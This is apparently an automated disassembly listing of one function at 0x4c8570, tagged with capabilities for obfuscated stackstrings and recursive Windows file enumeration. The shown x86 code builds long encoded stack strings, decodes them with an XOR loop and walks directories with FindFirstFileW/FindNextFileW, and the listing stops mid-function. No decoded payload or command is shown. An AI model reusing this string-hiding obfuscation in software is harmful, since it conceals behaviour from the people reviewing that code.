Function at 0x4c8570
Capabilities:
Contain obfuscated stackstrings
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x5c0290]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x6d8], eax
mov eax, dword [ebp + 0x24]
push ebx
mov dword [ebp - 0x668], eax
mov eax, dword [ebp + 0x28]
push esi
mov dword [ebp - 0x708], eax
mov eax, dword [ebp + 0x2c]
push edi
mov dword [ebp - 0x734], ecx
mov dword [ebp - 0x6d4], eax
mov dword [ebp - 0x678], 0
mov dword [ebp - 0x648], 0x36777a41
mov dword [ebp - 0x644], 0x6f73774e
mov dword [ebp - 0x640], 0x2f596a4a
mov dword [ebp - 0x63c], 0x69675345
mov dword [ebp - 0x638], 0x37346948
mov dword [ebp - 0x634], 0x78554349
mov dword [ebp - 0x630], 0x68566d4d
mov dword [ebp - 0x62c], 0x344d5265
mov dword [ebp - 0x628], 0x67774450
mov dword [ebp - 0x624], 0x696c794a
mov dword [ebp - 0x620], 0x36777a41
mov dword [ebp - 0x61c], 0x6f73774e
mov dword [ebp - 0x618], 0x2f596a4a
mov dword [ebp - 0x614], 0x69675345
mov dword [ebp - 0x610], 0x37346948
mov dword [ebp - 0x60c], 0x78554349
mov dword [ebp - 0x608], 0x45516a4d
mov dword [ebp - 0x604], 0x6d4d4244
mov dword [ebp - 0x600], 0x5251334f
mov dword [ebp - 0x5fc], 0x3334444a
mov dword [ebp - 0x5f8], 0x3934684e
mov dword [ebp - 0x5f4], 0x58385141
mov dword [ebp - 0x5f0], 0x395a4766
mov dword [ebp - 0x5ec], 0x48344247
mov dword [ebp - 0x5e8], 0x5a6b5145
mov dword [ebp - 0x5e4], 0x45454466
mov dword [ebp - 0x5e0], 0x746b6944
mov dword [ebp - 0x5dc], 0x734d6744
mov dword [ebp - 0x5d8], 0x726b5150
mov dword [ebp - 0x5d4], 0x46516e65
mov dword [ebp - 0x5d0], 0x68397942
mov dword [ebp - 0x5cc], 0x4c735850
mov dword [ebp - 0x5c8], 0x37417750
mov dword [ebp - 0x5c4], 0x6b4d334d
mov dword [ebp - 0x5c0], 0x49774448
mov dword [ebp - 0x5bc], 0x69675466
mov dword [ebp - 0x5b8], 0x50386a42
mov dword [ebp - 0x5b4], 0x6c523244
mov dword [ebp - 0x5b0], 0x51456743
mov dword [ebp - 0x5ac], 0x36646a4a
mov dword [ebp - 0x5a8], 0x53554361
mov dword [ebp - 0x5a4], 0x59597941
mov dword [ebp - 0x5a0], 0x39556765
mov dword [ebp - 0x59c], 0x51596859
mov dword [ebp - 0x598], 0x59676e48
mov dword [ebp - 0x594], 0x436f684a
mov dword [ebp - 0x590], 0x39427a46
mov dword [ebp - 0x58c], 0x48496846
mov dword [ebp - 0x588], 0x2b73794a
mov dword [ebp - 0x584], 0x30555849
mov dword [ebp - 0x580], 0x38414249
mov dword [ebp - 0x57c], 0x69595150
mov dword [ebp - 0x578], 0x7259794d
mov dword [ebp - 0x574], 0x52386848
mov dword [ebp - 0x570], 0x6b6c334c
mov dword [ebp - 0x56c], 0x70555363
mov dword [ebp - 0x568], 0x31785347
mov dword [ebp - 0x564], 0x694e774e
mov dword [ebp - 0x560], 0x6a465249
mov dword [ebp - 0x55c], 0x74307a4f
mov dword [ebp - 0x558], 0x6946434a
mov dword [ebp - 0x554], 0x79524244
mov dword [ebp - 0x550], 0x39416a45
mov dword [ebp - 0x54c], 0x77707759
mov dword [ebp - 0x548], 0x7a733350
mov dword [ebp - 0x544], 0x7964534c
mov dword [ebp - 0x540], 0x44634147
mov dword [ebp - 0x53c], 0x52415445
mov dword [ebp - 0x538], 0x6e4d5349
mov dword [ebp - 0x534], 0x78357944
mov dword [ebp - 0x530], 0x3259324c
mov dword [ebp - 0x52c], 0x6749774a
mov dword [ebp - 0x528], 0x76514248
mov dword [ebp - 0x524], 0x77385841
mov dword [ebp - 0x520], 0x434d774e
mov dword [ebp - 0x51c], 0x7267444a
mov dword [ebp - 0x518], 0x374d5246
mov dword [ebp - 0x514], 0x6c4a5445
mov dword [ebp - 0x510], 0x31345163
mov dword [ebp - 0x50c], 0x76525342
mov dword [ebp - 0x508], 0x39384266
mov dword [ebp - 0x504], 0x77425346
mov dword [ebp - 0x500], 0x39455446
mov dword [ebp - 0x4fc], 0x4a45775a
mov dword [ebp - 0x4f8], 0x7739584b
mov dword [ebp - 0x4f4], 0x78634141
mov dword [ebp - 0x4f0], 0x2f525865
mov dword [ebp - 0x4ec], 0x46414250
mov dword [ebp - 0x4e8], 0x614d6848
mov dword [ebp - 0x4e4], 0x3377444e
mov dword [ebp - 0x4e0], 0x73645149
mov dword [ebp - 0x4dc], 0x69413243
mov dword [ebp - 0x4d8], 0x35735141
mov dword [ebp - 0x4d4], 0x5149674a
mov dword [ebp - 0x4d0], 0x51554266
mov dword [ebp - 0x4cc], 0x6f4e4844
mov dword [ebp - 0x4c8], 0x5451444d
mov dword [ebp - 0x4c4], 0x5634434c
mov dword [ebp - 0x4c0], 0x38775149
mov dword [ebp - 0x4bc], 0x79674241
mov dword [ebp - 0x4b8], 0x694d674d
mov dword [ebp - 0x4b4], 0x4463544d
mov dword [ebp - 0x4b0], 0x30464249
mov dword [ebp - 0x4ac], 0x68595850
mov dword [ebp - 0x4a8], 0x65387a46
mov dword [ebp - 0x4a4], 0x52306942
mov dword [ebp - 0x4a0], 0x2b686746
mov dword [ebp - 0x49c], 0x6e35684e
mov dword [ebp - 0x498], 0x436f574c
mov dword [ebp - 0x494], 0x6b6f694e
mov dword [ebp - 0x490], 0x42594243
mov dword [ebp - 0x48c], 0x4f416d61
mov dword [ebp - 0x488], 0x414d5346
mov dword [ebp - 0x484], 0x5863534f
mov dword [ebp - 0x480], 0x2b34444e
mov dword [ebp - 0x47c], 0x31514142
mov dword [ebp - 0x478], 0x5a633344
mov dword [ebp - 0x474], 0x5a555461
mov dword [ebp - 0x470], 0x58774447
mov dword [ebp - 0x46c], 0x3274584b
mov dword [ebp - 0x468], 0x65516841
mov dword [ebp - 0x464], 0x596b674b
mov dword [ebp - 0x460], 0x34314245
mov dword [ebp - 0x45c], 0x4151414b
mov dword [ebp - 0x458], 0x43464141
mov dword [ebp - 0x39c], 0x686b5446
mov dword [ebp - 0x398], 0x7651434e
mov dword [ebp - 0x394], 0x69497a42
mov dword [ebp - 0x390], 0x6a45534d
mov dword [ebp - 0x38c], 0x726f4150
mov dword [ebp - 0x388], 0x39454350
mov dword [ebp - 0x384], 0x2f677745
mov dword [ebp - 0x380], 0x6a4a7a47
mov dword [ebp - 0x37c], 0x6c426845
mov dword [ebp - 0x378], 0x78347962
mov dword [ebp - 0x374], 0x3630324a
mov dword [ebp - 0x370], 0x3741794e
mov dword [ebp - 0x36c], 0x66635247
mov dword [ebp - 0x368], 0x6530774f
mov dword [ebp - 0x364], 0x2f55444a
mov dword [ebp - 0x360], 0x54495444
mov dword [ebp - 0x35c], 0x62305865
mov dword [ebp - 0x358], 0x50593246
mov dword [ebp - 0x354], 0x386f5241
mov dword [ebp - 0x350], 0x5755524c
mov dword [ebp - 0x34c], 0x6e596745
mov dword [ebp - 0x348], 0x45636a43
mov dword [ebp - 0x344], 0x70417866
mov dword [ebp - 0x340], 0x3356674a
sub esp, 0xc
mov dword [ebp - 0x33c], 0x636f774a
mov ecx, esp
mov dword [ebp - 0x338], 0x646f4344
lea eax, [ebp - 0x454]
mov dword [ebp - 0x334], 0x4e776849
mov dword [ebp - 0x330], 0x4f6b7a49
push dword [ebp - 0x64c]
mov dword [ebp - 0x32c], 0x46453244
push eax
lea eax, [ebp - 0x648]
mov dword [ebp - 0x328], 0x64556963
mov dword [ebp - 0x324], 0x614d6845
mov dword [ebp - 0x320], 0x30345146
mov dword [ebp - 0x31c], 0x67594150
mov dword [ebp - 0x318], 0x31427748
mov dword [ebp - 0x314], 0x7759794f
mov dword [ebp - 0x310], 0x646b5350
mov dword [ebp - 0x30c], 0x2f634862
mov dword [ebp - 0x308], 0x33775149
mov dword [ebp - 0x304], 0x476f6942
mov dword [ebp - 0x300], 0x4173544c
mov dword [ebp - 0x2fc], 0x42414161
mov dword [ebp - 0x2f8], 0x58734449
mov dword [ebp - 0x2f4], 0x386f4442
mov dword [ebp - 0x2f0], 0x7745685a
mov dword [ebp - 0x2ec], 0x6359424e
mov dword [ebp - 0x2e8], 0x646f434e
mov dword [ebp - 0x2e4], 0x57415846
mov dword [ebp - 0x2e0], 0x46635441
mov dword [ebp - 0x2dc], 0x56495250
mov dword [ebp - 0x2d8], 0x4e6b4163
mov dword [ebp - 0x2d4], 0x4c555146
mov dword [ebp - 0x2d0], 0x56516747
mov dword [ebp - 0x2cc], 0x31306a42
mov dword [ebp - 0x2c8], 0x79425848
mov dword [ebp - 0x2c4], 0x44675150
mov dword [ebp - 0x2c0], 0x4863794e
mov dword [ebp - 0x2bc], 0x54514146
mov dword [ebp - 0x2b8], 0x386b5149
mov dword [ebp - 0x2b4], 0x6a6c4366
mov dword [ebp - 0x2b0], 0x7635774a
mov dword [ebp - 0x2ac], 0x36596845
mov dword [ebp - 0x2a8], 0x44735843
mov dword [ebp - 0x2a4], 0x496b6a63
mov dword [ebp - 0x2a0], 0x68557759
mov dword [ebp - 0x29c], 0x49455350
mov dword [ebp - 0x298], 0x3156414c
mov dword [ebp - 0x294], 0x68427747
mov dword [ebp - 0x290], 0x79634743
mov dword [ebp - 0x28c], 0x786f7743
mov dword [ebp - 0x288], 0x32387a4e
mov dword [ebp - 0x284], 0x65455346
mov dword [ebp - 0x280], 0x4430784a
mov dword [ebp - 0x27c], 0x7655414b
mov dword [ebp - 0x278], 0x724a3345
mov dword [ebp - 0x274], 0x775a6e4b
mov dword [ebp - 0x270], 0x30554161
mov dword [ebp - 0x26c], 0x47637a4c
mov dword [ebp - 0x268], 0x5a776846
mov dword [ebp - 0x264], 0x41414141
mov word [ebp - 0x260], 0x5133
push eax
push 0
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x714]
push eax
call fcn.0047fb90
add esp, 0x10
mov esi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x664], esi
sub eax, esi
je 0x4cce42
sub esp, 0xc
lea eax, [ebp - 0x25e]
mov ecx, esp
push dword [ebp - 0x64c]
mov dword [ecx], 0
push eax
lea eax, [ebp - 0x39c]
mov dword [ecx + 4], 0
push eax
push 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x674]
push eax
call fcn.0047fb90
add esp, 0x10
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
je 0x4cce4c
xor eax, eax
xor edi, edi
mov dword [ebp - 0x65c], eax
xor ecx, ecx
mov dword [ebp - 0x658], eax
xor edx, edx
mov dword [ebp - 0x654], eax
xor ebx, ebx
lea eax, [esi + 1]
mov dword [ebp - 0x65c], edi
mov dword [ebp - 0x658], ecx
mov dword [ebp - 0x654], edx
mov dword [ebp - 0x67c], ebx
mov dword [ebp - 0x660], eax
lea esp, [esp]
mov al, byte [esi]
inc esi
test al, al
jne 0x4c8ea0
sub esi, dword [ebp - 0x660]
je 0x4c8ff2
jmp 0x4c8ec0
mov esi, dword [ebp - 0x664]
lea eax, [ebp - 0x64d]
mov bl, byte [ebx + esi]
xor bl, 0x8b
mov byte [ebp - 0x64d], bl
cmp eax, ecx
jae 0x4c8f4b
cmp edi, eax
ja 0x4c8f4b
mov ebx, eax
sub ebx, edi
cmp ecx, edx
jne 0x4c8f40
mov eax, edx
sub eax, ecx
cmp eax, 1
jae 0x4c8f40
mov eax, edi
sub eax, ecx
dec eax
cmp eax, 1
jb 0x4cce60
sub edx, edi
or eax, 0xffffffff
mov esi, edx
sub ecx, edi
shr esi, 1
inc ecx
sub eax, esi
cmp eax, edx
jae 0x4c8f15
xor edx, edx
jmp 0x4c8f17
add edx, esi
cmp edx, ecx
cmovb edx, ecx
lea ecx, [ebp - 0x65c]
push edx
call fcn.0046ae20
mov edx, dword [ebp - 0x654]
mov ecx, dword [ebp - 0x658]
mov edi, dword [ebp - 0x65c]
mov esi, dword [ebp - 0x664]
test ecx, ecx
je 0x4c8fad
mov al, byte [ebx + edi]
mov byte [ecx], al
jmp 0x4c8fad
cmp ecx, edx
jne 0x4c8fa7
mov eax, edx
sub eax, ecx
cmp eax, 1
jae 0x4c8fa7
mov eax, edi
sub eax, ecx
dec eax
cmp eax, 1
jb 0x4cce60
sub edx, edi
or eax, 0xffffffff
mov esi, edx
sub ecx, edi
shr esi, 1
inc ecx
sub eax, esi
cmp eax, edx
jae 0x4c8f7c
xor edx, edx
jmp 0x4c8f7e
add edx, esi
cmp edx, ecx
cmovb edx, ecx
lea ecx, [ebp - 0x65c]
push edx
call fcn.0046ae20
mov edx, dword [ebp - 0x654]
mov ecx, dword [ebp - 0x658]
mov edi, dword [ebp - 0x65c]
mov esi, dword [ebp - 0x664]
test ecx, ecx
je 0x4c8fad
mov byte [ecx], bl
mov ebx, dword [ebp - 0x67c]
lea eax, [esi + 1]
inc ecx
mov dword [ebp - 0x660], eax
inc ebx
mov dword [ebp - 0x658], ecx
mov dword [ebp - 0x67c], ebx
lea ebx, [ebx]
mov al, byte [esi]
inc esi
test al, al
jne 0x4c8fd0
sub esi, dword [ebp - 0x660]
cmp ebx, esi
jb 0x4c8ec0
test edi, edi
je 0x4c8ff2
push edi
call fcn.0053c1e0
add esp, 4
mov eax, dword [ebp - 0x674]
test eax, eax
je 0x4c9023
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x674], 0
mov dword [ebp - 0x670], 0
mov dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x714]
test eax, eax
je 0x4c9036
push eax
call fcn.0053c1e0
add esp, 4
lea eax, [ebp - 0x258]
mov dword [ebp - 0x6c8], 0x6c385847
push eax
sub esp, 0xc
mov dword [ebp - 0x6c4], 0x72413241
mov ecx, esp
mov dword [ebp - 0x6c0], 0x696f7747
lea eax, [ebp - 0x67e]
mov dword [ebp - 0x6bc], 0x72456848
mov dword [ebp - 0x6b8], 0x6934794a
push dword [ebp - 0x64c]
mov dword [ebp - 0x6b4], 0x574d4345
push eax
lea eax, [ebp - 0x6c8]
mov dword [ebp - 0x6b0], 0x686c434f
mov dword [ebp - 0x6ac], 0x474d4241
mov dword [ebp - 0x6a8], 0x366f4765
mov dword [ebp - 0x6a4], 0x49555842
mov dword [ebp - 0x6a0], 0x4f67684d
mov dword [ebp - 0x69c], 0x536b4241
mov dword [ebp - 0x698], 0x396b694f
mov dword [ebp - 0x694], 0x4a385859
mov dword [ebp - 0x690], 0x446f6864
mov dword [ebp - 0x68c], 0x42554361
mov dword [ebp - 0x688], 0x7673794f
mov dword [ebp - 0x684], 0x41414141
mov word [ebp - 0x680], 0x514d
push eax
push 0
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x74c]
push eax
call fcn.00480790
add esp, 0x10
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
sar eax, 1
jne 0x4c914d
jmp 0x4cce56
mov edi, dword [ebp - 0x6d8]
lea eax, [ebp - 0x72c]
push ecx
push edi
push eax
call fcn.004b8610
add esp, 0xc
push dword [eax]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, dword [ebp - 0x72c]
mov ebx, eax
add esi, 0xfffffff0
mov dword [ebp - 0x664], ebx
or edx, 0xffffffff
lea ecx, [esi + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4c9194
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x74c]
test eax, eax
je 0x4c91c5
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x74c], 0
mov dword [ebp - 0x748], 0
mov dword [ebp - 0x744], 0
cmp ebx, 0xffffffff
je 0x4cce27
mov edi, edi
lea eax, [ebp - 0x258]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x4cc25c
test byte [ebp - 0x258], 0x10
je 0x4cab05
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x67c], 0
push eax
lea ecx, [ebp - 0x67c]
call fcn.004672d0
mov dword [ebp - 0x3e0], 0x56633261
mov dword [ebp - 0x3dc], 0x4c344445
mov dword [ebp - 0x3d8], 0x70735242
mov dword [ebp - 0x3d4], 0x7363524b
mov dword [ebp - 0x3d0], 0x49734350
mov dword [ebp - 0x3cc], 0x6b6f4261
mov dword [ebp - 0x3c8], 0x4c49424b
mov dword [ebp - 0x3c4], 0x59596d46
mov dword [ebp - 0x3c0], 0x2f394465
mov dword [ebp - 0x3bc], 0x4430424b
mov dword [ebp - 0x3b8], 0x35777842
mov dword [ebp - 0x3b4], 0x73737a4f
mov dword [ebp - 0x3b0], 0x43777763
mov dword [ebp - 0x3ac], 0x3239334d
mov dword [ebp - 0x3a8], 0x6f307a66
mov dword [ebp - 0x3a4], 0x424d4264
mov dword [ebp - 0x3a0], 0x41515444
mov dword [ebp - 0x39c], 0x75394241
mov dword [ebp - 0x398], 0x45673244
mov dword [ebp - 0x394], 0x5073674a
mov dword [ebp - 0x390], 0x56514363
mov dword [ebp - 0x38c], 0x5534524d
mov dword [ebp - 0x388], 0x4351324c
mov dword [ebp - 0x384], 0x7256414b
mov dword [ebp - 0x380], 0x67415149
mov dword [ebp - 0x37c], 0x306b7949
mov dword [ebp - 0x378], 0x46415843
mov dword [ebp - 0x374], 0x6839424c
mov dword [ebp - 0x370], 0x6e68424a
mov dword [ebp - 0x36c], 0x4573774e
mov dword [ebp - 0x368], 0x324d7749
mov dword [ebp - 0x364], 0x4a456766
mov dword [ebp - 0x360], 0x36456848
mov dword [ebp - 0x35c], 0x30454248
mov dword [ebp - 0x358], 0x4f775145
mov dword [ebp - 0x354], 0x32527750
mov dword [ebp - 0x350], 0x30464847
mov dword [ebp - 0x34c], 0x54416a4b
mov dword [ebp - 0x348], 0x63344448
mov dword [ebp - 0x344], 0x766b674d
mov dword [ebp - 0x340], 0x6b30444b
mov dword [ebp - 0x33c], 0x46456746
mov dword [ebp - 0x338], 0x436b524f
mov dword [ebp - 0x334], 0x57416941
mov dword [ebp - 0x330], 0x65305849
mov dword [ebp - 0x32c], 0x5241794a
mov dword [ebp - 0x328], 0x34306742
mov dword [ebp - 0x324], 0x5a496744
mov dword [ebp - 0x320], 0x4345694f
mov dword [ebp - 0x31c], 0x6d776942
mov dword [ebp - 0x318], 0x52597a63
mov dword [ebp - 0x314], 0x7a6b534b
mov dword [ebp - 0x310], 0x66596d65
mov dword [ebp - 0x30c], 0x77565259
mov dword [ebp - 0x308], 0x4b737a42
mov dword [ebp - 0x304], 0x6949774d
mov dword [ebp - 0x300], 0x4877674c
mov dword [ebp - 0x2fc], 0x776b7a44
mov dword [ebp - 0x2f8], 0x69456a42
mov dword [ebp - 0x2f4], 0x346f5849
mov dword [ebp - 0x2f0], 0x6a777849
mov dword [ebp - 0x2ec], 0x6b6f6e41
mov dword [ebp - 0x2e8], 0x63636945
mov dword [ebp - 0x2e4], 0x6f45694a
mov dword [ebp - 0x2e0], 0x476f7966
mov dword [ebp - 0x2dc], 0x7838674a
mov dword [ebp - 0x2d8], 0x7467794f
mov dword [ebp - 0x2d4], 0x6b4a544e
mov dword [ebp - 0x2d0], 0x32384463
mov dword [ebp - 0x2cc], 0x7778534b
mov dword [ebp - 0x2c8], 0x6e705466
mov dword [ebp - 0x2c4], 0x32735849
mov dword [ebp - 0x2c0], 0x6b6b7943
mov dword [ebp - 0x2bc], 0x43635266
mov dword [ebp - 0x2b8], 0x394e6950
mov dword [ebp - 0x2b4], 0x31786746
mov ebx, dword [ebp - 0x678]
lea eax, [ebp - 0x261]
sub esp, 0xc
mov dword [ebp - 0x2b0], 0x3642484f
mov ecx, esp
mov dword [ebp - 0x2ac], 0x51593247
mov dword [ebp - 0x2a8], 0x68646a4c
or ebx, 1
mov dword [ebp - 0x2a4], 0x6c51774a
push dword [ebp - 0x64c]
mov dword [ebp - 0x2a0], 0x35495444
push eax
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x29c], 0x67515248
mov dword [ebp - 0x298], 0x544d5366
mov dword [ebp - 0x294], 0x504d5247
mov dword [ebp - 0x290], 0x59735345
mov dword [ebp - 0x28c], 0x6677514b
mov dword [ebp - 0x288], 0x2f775244
mov dword [ebp - 0x284], 0x6973784c
mov dword [ebp - 0x280], 0x55414349
mov dword [ebp - 0x27c], 0x686b7747
mov dword [ebp - 0x278], 0x62495750
mov dword [ebp - 0x274], 0x72597942
mov dword [ebp - 0x270], 0x4b636945
mov dword [ebp - 0x26c], 0x7663524b
mov dword [ebp - 0x268], 0x4141774e
mov word [ebp - 0x264], 0x5241
mov byte [ebp - 0x262], 0x6f
push eax
push 0
mov dword [ebp - 0x678], ebx
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x758]
push eax
call fcn.00480790
add esp, 0x10
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
sar eax, 1
je 0x4cce42
xor eax, eax
test ecx, ecx
setne al
test eax, eax
je 0x4cce78
mov esi, dword [ebp - 0x67c]
mov eax, esi
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4c9676
test dx, dx
je 0x4c9672
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4c9676
add eax, 4
add ecx, 4
test dx, dx
jne 0x4c9650
xor eax, eax
jmp 0x4c967b
sbb eax, eax
or eax, 1
test eax, eax
je 0x4c9ac2
mov dword [ebp - 0x5d8], 0x74733361
mov dword [ebp - 0x5d4], 0x48636745
mov dword [ebp - 0x5d0], 0x38354242
mov dword [ebp - 0x5cc], 0x4463774f
mov dword [ebp - 0x5c8], 0x68637a41
mov dword [ebp - 0x5c4], 0x496b6964
mov dword [ebp - 0x5c0], 0x2b34434d
mov dword [ebp - 0x5bc], 0x4651534b
mov dword [ebp - 0x5b8], 0x59346a47
mov dword [ebp - 0x5b4], 0x6c775364
mov dword [ebp - 0x5b0], 0x37516d46
mov dword [ebp - 0x5ac], 0x47514345
mov dword [ebp - 0x5a8], 0x41556744
mov dword [ebp - 0x5a4], 0x3268434b
mov dword [ebp - 0x5a0], 0x37356a43
mov dword [ebp - 0x59c], 0x50306847
mov dword [ebp - 0x598], 0x66776e4c
mov dword [ebp - 0x594], 0x7767684b
mov dword [ebp - 0x590], 0x714d4247
mov dword [ebp - 0x58c], 0x726f6e45
mov dword [ebp - 0x588], 0x34634748
mov dword [ebp - 0x584], 0x41774250
mov dword [ebp - 0x580], 0x71676a65
mov dword [ebp - 0x57c], 0x49455442
mov dword [ebp - 0x578], 0x75347748
mov dword [ebp - 0x574], 0x564d5463
mov dword [ebp - 0x570], 0x64676d45
mov dword [ebp - 0x56c], 0x73554464
mov dword [ebp - 0x568], 0x54675745
mov dword [ebp - 0x564], 0x56777a44
mov dword [ebp - 0x560], 0x34515349
mov dword [ebp - 0x55c], 0x6a51694d
mov dword [ebp - 0x558], 0x6f777a5a
mov dword [ebp - 0x554], 0x6b736946
mov dword [ebp - 0x550], 0x7138444e
mov dword [ebp - 0x54c], 0x7a5a514d
mov dword [ebp - 0x548], 0x4777534e
mov dword [ebp - 0x544], 0x2b456742
mov dword [ebp - 0x540], 0x6c307a42
mov dword [ebp - 0x53c], 0x7855444c
mov dword [ebp - 0x538], 0x6749684b
mov dword [ebp - 0x534], 0x4a676a4f
mov dword [ebp - 0x530], 0x61515243
mov dword [ebp - 0x52c], 0x7a6b694a
mov dword [ebp - 0x528], 0x6273484c
mov dword [ebp - 0x524], 0x73514343
mov dword [ebp - 0x520], 0x4a305843
mov dword [ebp - 0x51c], 0x695a414d
mov dword [ebp - 0x518], 0x6e684147
mov dword [ebp - 0x514], 0x51306844
mov dword [ebp - 0x510], 0x6b707a42
mov dword [ebp - 0x50c], 0x73496766
mov dword [ebp - 0x508], 0x4a41414f
mov dword [ebp - 0x504], 0x7968514e
mov dword [ebp - 0x500], 0x34644365
mov dword [ebp - 0x4fc], 0x44416943
mov dword [ebp - 0x4f8], 0x66737743
mov dword [ebp - 0x4f4], 0x6e386d46
mov dword [ebp - 0x4f0], 0x7245424d
mov dword [ebp - 0x4ec], 0x686f6865
mov dword [ebp - 0x4e8], 0x5451434d
mov dword [ebp - 0x4e4], 0x706b5449
mov dword [ebp - 0x4e0], 0x30743263
mov dword [ebp - 0x4dc], 0x2b56694e
mov dword [ebp - 0x4d8], 0x3441784c
mov dword [ebp - 0x4d4], 0x6a676e41
mov dword [ebp - 0x4d0], 0x2b4a444b
mov dword [ebp - 0x4cc], 0x64456745
mov dword [ebp - 0x4c8], 0x514d4248
mov dword [ebp - 0x4c4], 0x42384344
mov dword [ebp - 0x4c0], 0x6367334d
mov dword [ebp - 0x4bc], 0x3151484e
mov dword [ebp - 0x4b8], 0x6e416966
mov dword [ebp - 0x4b4], 0x3234484e
mov dword [ebp - 0x4b0], 0x5077524b
mov dword [ebp - 0x4ac], 0x4b677946
mov dword [ebp - 0x4a8], 0x47515144
mov dword [ebp - 0x4a4], 0x6677784c
mov dword [ebp - 0x4a0], 0x2f494442
mov dword [ebp - 0x49c], 0x7634534e
mov dword [ebp - 0x498], 0x4f636d43
sub esp, 0xc
mov dword [ebp - 0x494], 0x69555447
mov ecx, esp
mov dword [ebp - 0x490], 0x70777a65
lea eax, [ebp - 0x455]
mov dword [ebp - 0x48c], 0x7077425a
mov dword [ebp - 0x488], 0x7a495345
or ebx, 2
push dword [ebp - 0x64c]
mov dword [ebp - 0x484], 0x584d6a64
push eax
lea eax, [ebp - 0x5d8]
mov dword [ebp - 0x480], 0x7445534b
mov dword [ebp - 0x47c], 0x6d4e7761
mov dword [ebp - 0x478], 0x33777865
mov dword [ebp - 0x474], 0x34734841
mov dword [ebp - 0x470], 0x38416a41
mov dword [ebp - 0x46c], 0x746b5245
mov dword [ebp - 0x468], 0x2b63794a
mov dword [ebp - 0x464], 0x454d7a42
mov dword [ebp - 0x460], 0x676f6846
mov dword [ebp - 0x45c], 0x41416749
mov word [ebp - 0x458], 0x5241
mov byte [ebp - 0x456], 0x77
push eax
push 0
mov dword [ebp - 0x678], ebx
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
call fcn.004660a0
lea eax, [ebp - 0x764]
push eax
call fcn.00480790
add esp, 0x10
mov ecx, dword [eax + 4]
mov edx, dword [eax]
sub ecx, edx
sar ecx, 1
je 0x4cce6a
push edx
lea ecx, [ebp - 0x67c]
call fcn.004c30b0
test eax, eax
je 0x4c9ac2
xor bl, bl
jmp 0x4c9ac4
mov bl, 1
mov ecx, dword [ebp - 0x678]
test cl, 2
je 0x4c9b0f
mov eax, dword [ebp - 0x764]
and ecx, 0xfffffffd
mov dword [ebp - 0x678], ecx
test eax, eax
je 0x4c9b0f
push eax
call fcn.0053c1e0
mov ecx, dword [ebp - 0x678]
add esp, 4
mov dword [ebp - 0x764], 0
mov dword [ebp - 0x760], 0
mov dword [ebp - 0x75c], 0
test cl, 1
je 0x4c9b4e
mov eax, dword [ebp - 0x758]
and ecx, 0xfffffffe
mov dword [ebp - 0x678], ecx
test eax, eax
je 0x4c9b4e
push eax
call fcn.0053c1e0
add esp, 4
mov dword [ebp - 0x758], 0
mov dword [ebp - 0x754], 0
mov dword [ebp - 0x750], 0
test bl, bl
je 0x4c9b7b
add esi, 0xfffffff0
or ecx, 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
mov ebx, dword [ebp - 0x664]
test ecx, ecx
jg 0x4c91d0
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x4c91d0
mov eax, dword [edi]
sub eax, 0x10
mov dword [ebp - 8], 0
push eax
call fcn.004c2870
add eax, 0x10
lea ecx, [ebp - 8]
add esp, 4
mov dword [ebp - 8], eax
lea eax, [ebp - 0x22c]
push eax
call fcn.004be4b0
mov dword [ebp - 0x368], 0x36777a41
mov dword [ebp - 0x364], 0x6f73774e
mov dword [ebp - 0x360], 0x2f596a4a
mov dword [ebp - 0x35c], 0x69675345
mov dword [ebp - 0x358], 0x37346948
mov dword [ebp - 0x354], 0x78554349
mov dword [ebp - 0x350], 0x68566d4d
mov dword [ebp - 0x34c], 0x356f5265
mov dword [ebp - 0x348], 0x376b794a
mov dword [ebp - 0x344], 0x6970434c
mov dword [ebp - 0x340], 0x6d30544d
mov dword [ebp - 0x33c], 0x6d674450
mov dword [ebp - 0x338], 0x6f4d6e49
mov dword [ebp - 0x334], 0x6a51544f
mov dword [ebp - 0x330], 0x6d73544c
mov dword [ebp - 0x32c], 0x6c4a7a4e
mov dword [ebp - 0x328], 0x68646841
mov dword [ebp - 0x324], 0x67636850
mov dword [ebp - 0x320], 0x69556865
mov dword [ebp - 0x31c], 0x57777a4e
mov dword [ebp - 0x318], 0x74415246
mov dword [ebp - 0x314], 0x35597948
mov dword [ebp - 0x310], 0x57514448
mov dword [ebp - 0x30c], 0x72386742
mov dword [ebp - 0x308], 0x666f6e4b
mov dword [ebp - 0x304], 0x49594343
mov dword [ebp - 0x300], 0x32497741
mov dword [ebp - 0x2fc], 0x35736e48
mov dword [ebp - 0x2f8], 0x77413241
mov dword [ebp - 0x2f4], 0x51455345
mov dword [ebp - 0x2f0], 0x77456947
mov dword [ebp - 0x2ec], 0x30357843
mov dword [ebp - 0x2e8], 0x35566d4a
mov dword [ebp - 0x2e4], 0x4177544e
